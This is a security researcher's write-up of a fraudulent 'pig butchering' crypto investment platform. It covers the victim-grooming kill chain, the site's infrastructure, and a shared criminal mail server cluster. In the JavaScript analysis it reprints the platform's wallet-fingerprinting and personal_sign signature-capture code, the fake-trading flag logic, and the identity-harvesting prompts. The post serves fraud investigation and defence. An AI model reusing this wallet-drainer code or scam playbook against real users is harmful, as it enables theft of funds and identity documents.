BasisDev - Anatomy of a Fraudulent Crypto Investment Platform

During the course of an investigation into a fraud case, I had the opportunity to analyse the infrastructure and client-side code of BasisDev, a fraudulent cryptocurrency investment platform. This post covers the technical findings from that analysis, including the platform’s fake trading architecture, an embedded wallet drainer, and a comprehensive identity harvesting system. The wider context of how victims are funnelled onto the platform is covered briefly below, as it provides useful framing for the technical findings; alongside introducing “pig butchering” as a concept.

The Scam

The victim in question, a US-based individual, encountered a job advertisement on a messaging application. Upon contacting the details listed in the advertisement, they were connected with a threat actor who, rather than discussing employment, began a prolonged social engineering campaign. Over a period of weeks, the actor built rapport with the victim under the guise of a romantic relationship; a technique commonly referred to as pig butchering (杀猪盘, shā zhū pán) or a romance scam.

Once sufficient trust had been established, the actor introduced the victim to cryptocurrency investment, presenting themselves as a wealthy and experienced investor. The victim was coached through purchasing cryptocurrency at a legitimate central exchange, before being directed to install BasisPro — a malicious application available on both the Apple App Store and Google Play Store — and to transfer funds to wallet addresses provided within the application. The victim was led to believe their funds were being actively invested and generating significant returns. In reality, the funds were being stolen.

This post focuses on what happens under the hood of the platform those funds were sent to.

What is Pig Butchering (杀猪盘, shā zhū pán)?

Pig butchering (杀猪盘, shā zhū pán) is a term originating from Chinese-speaking criminal organisations, the literal translation being “pig slaughter plate”, a reference to the practice of fattening a pig before slaughter. In the context of fraud, the “pig” represents the victim, who is cultivated and groomed over an extended period before being financially exploited.

NOTE: In some parts of the community, the term “pig butchering” is seen as offensive as there is a feeling that victims don’t want to be referred to as pigs. The term has been used in this blog because it reamins the indsutry standard terminology to describe this type of scam. Other names for this scam type include “Romance scam/fraud”, or “Investment Scam”.

The methodology follows a broadly consistent kill chain regardless of the specific platform or lure used:

1. Initial Contact - The victim is approached via social media, dating applications, messaging platforms, or in this case, a fake job advertisement. The initial contact is designed to appear organic and coincidental, a wrong number, a chance connection, or a seemingly legitimate opportunity.

2. Trust Building - The actor invests significant time building a relationship with the victim. This phase can last weeks or months. The goal is to establish emotional dependency before any financial element is introduced. In romance-lure variants, this involves simulated romantic interest. The actor typically presents as wealthy, successful, and well-connected.

3. The Investment Introduction - Once trust is established, the actor introduces cryptocurrency investment, typically framed as a personal opportunity they are sharing exclusively with the victim. They present fabricated evidence of their own returns and coach the victim through making their first deposit, often starting small to build confidence. Many non-IT confidence scams play out this way too, convince the mark (victim) to deposit a small amount of money, fix the game so the mark gets a good return - this in turn boosts their confidence and trust in the scammer; convincing them to invest more and eventually set up for the big loss becomes much easier.

4. The Fattening Phase - The victim is shown consistent fake returns on their investment via the fraudulent platform. They are encouraged to deposit increasingly larger sums. Withdrawals of small amounts may be permitted early on to build further trust. This phase can last weeks or months.

5. The Slaughter - When the actor determines the victim has been sufficiently exploited — either because deposits have slowed or the victim attempts a significant withdrawal, the platform invents a reason the funds cannot be released. Common pretexts include tax payments, verification fees, or account freezes. Any additional money sent under these pretexts is also stolen. Eventually contact ceases entirely.

Origins and Scale

Pig butchering operations are predominantly run by organised criminal groups operating out of Southeast Asia, particularly Myanmar, Cambodia, and Laos, with strong links to Chinese-speaking criminal networks. Many operations run out of scam compounds — effectively forced labour camps where trafficked individuals are coerced into running scams under threat of violence.

The scale is significant. The FBI’s Internet Crime Complaint Center (IC3) reported cryptocurrency investment fraud losses exceeding $3.9 billion in 2023, the majority of which is attributed to pig butchering operations.

Infrastructure Analysis

The victim provided the domain basisdev[.]com as the platform they had been directed to. Initial passive reconnaissance revealed the domain resolving to Cloudflare anycast IPs 104.21.78[.]39 and 172.67.215[.]189; indicating the true origin infrastructure was obscured behind Cloudflare’s reverse proxy. This is a common evasion technique used by fraudulent platforms to hinder attribution and resist takedown efforts.

Maltego graph showing basisdev[.]com resolving to numerous IPs including 104.21.78[.]39 and 172.67.215[.]189, alongside a mailserver and Cloudflare namespaces

Cross-referencing against VirusTotal revealed two additional IPs associated with the domain, 13.248.169[.]48 and 76.223.54[.]146, both falling within Amazon Web Services Global Accelerator ranges (AS16509). This suggested the platform was running on AWS origin infrastructure, fronted by Cloudflare; a double-layer architecture that makes both attribution and takedown significantly more difficult.

Platform Analysis

Navigating to basisdev[.]com from a desktop browser results in a 307 temporary redirect to pc.basisdev[.]com/#/?from=mobile. The use of a temporary rather than permanent redirect seems to be the platform makes a routing decision on each visit rather than committing to a permanent destination, allowing the operators to gate access based on request characteristics such as user agent, geolocation, referral source, or device.

Webpage for basisdev[.]com

The pc. subdomain prefix suggests the platform differentiates between device types. During testing, visiting from a mobile device returned no redirect and served no content, indicating the scam interface is deliberately withheld from mobile browsers.

Rather than a conventional account system, the platform appears to present a simulated account experience. API calls to getUserCoin and getAllSetting fire on page load regardless of authentication state, returning data without any valid session token present in the request headers. A legitimate financial platform gates all account data behind authentication, the absence of this basic control confirms the financial data displayed to victims is served indiscriminately, independent of any real account state.

The login page for the site doesn’t seem to work either. I used the victims credentials (with their consent for the purposes of investigation) and it failed.

Login page for basisdev[.]com

With the login page not getting us anywhere, I decided to look at DevTools. With DevTools open and network logging active, the page load revealed a Vue 3 single-page application bundled with Vite, making requests to a distinct backend domain:

hxxps://webapi.basis138dev[.]com

The backend domain basis138dev[.]com rather than basisdev[.]com was not discoverable through passive DNS reconnaissance alone. The root domain basis138dev[.]com returns NXDOMAIN, with only the webapi. subdomain resolving, deliberately limiting the attack surface exposed to passive analysis.

The API calls fired on page load are telling. Even without authentication, the platform immediately calls:

POST hxxps://webapi.basis138dev[.]com/api/common/getAllSetting
POST hxxps://webapi.basis138dev[.]com/api/common/getUserCoin
POST hxxps://webapi.basis138dev[.]com/api/common/getCoinSecondList

A legitimate financial platform would never request user coin balances for an unauthenticated session. The fact that these calls fire regardless of login state confirms the financial data displayed to victims is not tied to any real account, it is static or templated fiction served to anyone who visits.

JavaScript Analysis

With the network requests documented, attention turned to the JavaScript bundles loaded by the platform. Opening the Sources tab in DevTools and navigating to index-7bcc620d.js, the pretty-printer was used to format the minified code into something readable. Several significant findings emerged.

Fake Trading Confirmation

Searching the bundle for variable and function names commonly associated with wallet drainers and fraudulent trading platforms, I identified the isVirtualTrading flag embedded in the platform’s state management; returned directly from the getAllSetting API response. The logic is unambiguous:

let s = n.isVirtualTrading;
go((() => {
    !s || n.isVirtualTrading ? n.isVirtualTrading ? s = !0 : (s = !1,
    n.isSign && n.userInfo.user && n.userInfo.user.userId && 
    0 === n.userInfo.user.isSetPassword && o.push("/settings"))

When isVirtualTrading is true the user is locked into fake trading mode. The backend controls this flag, meaning operators can switch individual victims between simulated and real modes. This is likely used to permit small early withdrawals to build trust before the flag is permanently set and all funds become inaccessible.

Identity Harvesting

The platform implements a two-tier KYC verification system framed as unlocking “trading privileges.” Primary verification collects:

• Full legal name and date of birth
• Government issued ID number
• Front and back photographs of passport, ID card, driver’s licence, or health card

Advanced verification escalates further:

ssnWithIdTip: "To complete advanced verification, please upload your SSN or SIN to verify your identity."
selfiePhoto: "Upload selfie with ID card",
addressProof: "Upload proof of address (utility bill, bank statement, etc.)"

The explicit targeting of Social Security Numbers and Canadian Social Insurance Numbers indicates the platform is specifically designed to harvest North American victims’ most sensitive identity credentials. Documents are uploaded via:

hxxps://webapi.basis138dev[.]com/api/common/upload/OSS

The OSS suffix indicates Alibaba Cloud Object Storage Service, victim identity documents are being exfiltrated to Chinese cloud infrastructure.

The Wallet Drainer

The most technically interesting component of the platform is an embedded wallet interaction module targeting browser-based cryptocurrency wallets independently of the platform’s own account system.

It is worth noting that since the operator controls the platform, victim credentials are already harvested at registration. This wallet interaction code therefore targets something separate, the victim’s external browser wallet, which may contain funds never deposited on the platform.

The attack chain consists of three functions working in sequence.

Step 1 — Wallet Fingerprinting (ON())

The first function silently enumerates any browser wallet extensions present, using both direct property checks and the EIP-6963 wallet discovery standard:

function ON() {
    return new Promise((e => {
        var t, n, r, o;
        let a = !1;
        if (null == (t = window.ethereum) ? void 0 : t.isCoinbaseWallet)
            return a = !0,
            void e("base");
        if ((null == (n = window.ethereum) ? void 0 : n.isRobinhood) || (null == (r = window.ethereum) ? void 0 : r.isRobinhoodWallet))
            return a = !0,
            void e("robinhood");
        if (window.trustwallet || (null == (o = window.ethereum) ? void 0 : o.isTrust))
            return a = !0,
            void e("trustwallet");
        const i = t => {
            const {info: n} = t.detail;
            n.name.includes("Coinbase") || n.name.includes("Base") || "com.coinbase.wallet" === n.rdns ? (a = !0,
            e("base")) : n.name.includes("Robinhood") || "com.robinhood.wallet" === n.rdns ? (a = !0,
            e("robinhood")) : n.name.includes("Trust Wallet") || "com.trustwallet.app" === n.rdns ? (a = !0,
            e("trustwallet")) : n.name.includes("Crypto.com") && (a = !0,
            e("onchain"))
        };
        window.addEventListener("eip6963:announceProvider", i),
        window.dispatchEvent(new Event("eip6963:requestProvider")),
        setTimeout((() => {
            window.removeEventListener("eip6963:announceProvider", i),
            a || e("standard")
        }), 500)
    }))
}

The function targets four specific wallet providers: Coinbase Wallet, Robinhood Wallet, Trust Wallet, and Crypto.com, before falling back to a standard handler for any other window.ethereum provider. The use of EIP-6963 (eip6963:requestProvider) is a modern wallet discovery standard, indicating the drainer has been updated to target newer wallet implementations.

Step 2 — Payload Construction (LN())

Once the wallet type is identified, a signing payload is constructed by concatenating a timestamp with the victim’s wallet address:

function LN(e, t) {
    return `${t}${e.toLowerCase()}`
}

For known wallet types (Coinbase, Trust, Robinhood, Crypto.com) the payload is additionally hex-encoded before signing:

const n = LN(e, t)
const r = "0x" + Array.from((new TextEncoder).encode(n))
    .map((e => e.toString(16).padStart(2, "0")))
    .join("")

Step 3 — Signature Request (BN())

The final function requests a personal_sign from the detected wallet, triggering a signing popup in the victim’s browser:

async function BN(e, t) {
    const n = await ON();
    return "onchain" === n || "trustwallet" === n || "base" === n || "robinhood" === n ? 
        await async function(e, t) {
            const n = LN(e, t)
              , r = "0x" + Array.from((new TextEncoder).encode(n))
                    .map((e => e.toString(16).padStart(2, "0")))
                    .join("")
              , o = window.ethereum;
            return await o.request({
                method: "personal_sign",
                params: [r, e.toLowerCase()]
            })
        }(e, t) : 
        await async function(e, t) {
            const n = LN(e.toLowerCase(), t)
              , r = window.ethereum;
            if (!r)
                throw new Error("未检测到钱包插件");
            return await r.request({
                method: "personal_sign",
                params: [n, e.toLowerCase()]
            })
        }(e, t)
}

The error message thrown when no wallet is detected — 未检测到钱包插件 (“No wallet plugin detected”) is in Simplified Chinese, confirming the kit was developed by Chinese-speaking developers and likely sourced from a Chinese-language criminal marketplace.

Session Hijacking

The obtained signature is sent directly to the platform’s login endpoint to authenticate as the victim’s wallet:

const o = await BN(e.address, n)
return {
    signType: 0,
    address: e.address.toLowerCase(),
    timestamp: n,
    signature: o,
    walletType: e.type,
    isOnChainWallet: "onchain" === r ? 1 : 0,
}

This shows that the platform uses the stolen signature to establish an authenticated backend session tied to the victim’s wallet address, giving the operators persistent access to interact with the platform as the victim, independent of any password or email credential.

It should be noted that personal_sign alone is insufficient to transfer funds, its impact depends on how the signature is consumed server-side. At minimum this establishes an authenticated session tied to the victim’s wallet address. Whether the signature is subsequently used to interact with external contracts would require server-side analysis beyond the scope of this investigation.

Infrastructure Pivot (emb666[.]com)

With a drainer identified and nothing else interesting on the website itself, I decided to loop back to enriching the domain name with IPs, namespaces, and DNS. Running DNS transforms on basisdev[.]com in Maltego revealed an unexpected finding in the MX record:

mail.emb666.com

Enumerating emb666.com

Running further transforms against emb666.com revealed an unusually large number of resolved IPs, spanning Cloudflare anycast ranges, multiple unattributed hosting providers, and notably 13.124.168[.]162, an AWS IP resolving to the ap-northeast-2 region (Seoul, South Korea). The sheer volume of IPs associated with a single mail domain is not consistent with a legitimate email provider; it suggests emb666.com is serving a large number of separate operations simultaneously.

Historical Whois data returned by Maltego extended the picture further. Registration records for emb666.com date back to September 2019, with continuous updates through to July 2026, indicating seven years of uninterrupted operation. This is not infrastructure stood up for a single campaign.

AlienVault OTX Records

Searching emb666[.]com against threat intelligence sources surfaced an existing AlienVault OTX pulse published in May 2026 by researcher stop7889:

“This pulse identifies a cluster of domain names that share a common technical indicator: the use of the mail server mail.emb666.com in their DNS/MX configurations. The domains included in this pulse have been identified in the context of domain name dispute procedures (UDRP) and/or enforcement actions, where they were associated with suspicious or abusive activities. These activities may include, but are not limited to, phishing, impersonation of legitimate brands, fraudulent email communications, or preparation for such use.”

The pulse documents over 5,000 domains sharing mail.emb666[.]com as their mail server; with basisdev[.]com confirmed as a member of this cluster.

emb666[.]com is not a legitimate mail provider based on the evidence and open source researcg. It appears to operate as shared criminal infrastructure, serving multiple independent threat actors running fraud campaigns simultaneously. The 666 naming convention is a common motif in Chinese cybercriminal infrastructure naming patterns.

The relationship between basisdev[.]com and this cluster does not necessarily point to a single unified operation. To test this, I cross-referenced 007jl-ph[.]com — another domain linked to the emb666[.]com IP space — against its Cloudflare nameserver records. The nameservers returned were lovisa.ns.cloudflare.com and cullen.ns.cloudflare.com, which differ from those used by basisdev.com (jermaine.ns.cloudflare[.]com and romina.ns.cloudflare[.]com).

Different named nameservers indicate separate Cloudflare accounts, and by extension, likely separate operators who happen to share the same underlying mail infrastructure.

emb666[.]com is more of a service layer that multiple threat actors plug into independently. basisdev[.]com is one customer, 007jl-ph[.]com appears to be another. The OTX pulse suggests there are over 5000 more.

Conclusion

Starting from a single victim report, this investigation ended up somewhere I didn’t nessassarily expect. The platform itself isn’t technically impressive, it’s seemingly a bought or rented scam kit, professionally built but not novel. What’s interesting is the combination of techniques in one place. Victims are socially engineered out of their deposits, simultaneously targeted by wallet interaction code, put through a fake trading interface that is explicitly configured as fake at the backend level, and harvested for identity documents including SSN and SIN. The isVirtualTrading flag being present in the source code is a particularly candid admission of intent.

The emb666[.]com pivot was another interestung finding. A routine MX record transform connected basisdev[.]com to infrastructure that’s been running since 2019 and has over 5,000 documented malicious domains attached to it. That’s not something that required specialist tooling; just following the DNS (albeit using APIs to make my life easier).

BasisPro had an app at one point, which has since been pulled from the App Store. Whether the wider operation continues under different domains is likely; the emb666[.]com cluster suggests the infrastructure underpinning it isn’t going anywhere.